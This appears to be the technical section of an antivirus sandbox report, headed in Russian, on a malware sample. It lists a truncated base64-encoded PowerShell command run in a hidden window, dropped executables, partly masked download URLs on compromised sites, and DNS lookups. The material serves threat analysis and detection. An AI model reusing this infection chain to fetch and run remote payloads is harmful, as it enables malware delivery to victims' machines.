Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAFQAIAAgAEUAMgA1ACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADQAfQB7ADAAfQB7ADEAfQAiACAALQBGACcAbwAuAGQAaQByACcALAAnAEUAYwB0AG8AcgBZACcALAAnAFMAeQBTACcALAAnAHQAZQ...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1540
- %TEMP%\1183751.cvr
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
- http://co#######serevisitedbook.com/wp-includes/6BAdVn6/
- http://co#######serevisitedbook.com/cgi-sys/suspendedpage.cgi
- http://ta###roup.com/divi-woocommerce/7BHbH/
- http://www.sa####etutours.com/safarsetutours/do75yh/
- http://we#####asterclass.com/wp-includes/ZqsGa/
- http://we#####asterclass.com/cgi-sys/suspendedpage.cgi
- DNS ASK co#######serevisitedbook.com
- DNS ASK ta###roup.com
- DNS ASK pr######rio.ecomerciar.com
- DNS ASK re###eae.com
- DNS ASK sa####etutours.com
- DNS ASK ii##du.uk
- DNS ASK we#####asterclass.com
- DNS ASK on####preneur.co.uk
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAFQAIAAgAEUAMgA1ACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADQAfQB7ADAAfQB7ADEAfQAiACAALQBGACcAbwAuAGQAaQByACcALAAnAEUAYwB0AG8AcgBZACcALAAnAFMAeQBTACcALAAnAHQAZQ...' (со скрытым окном)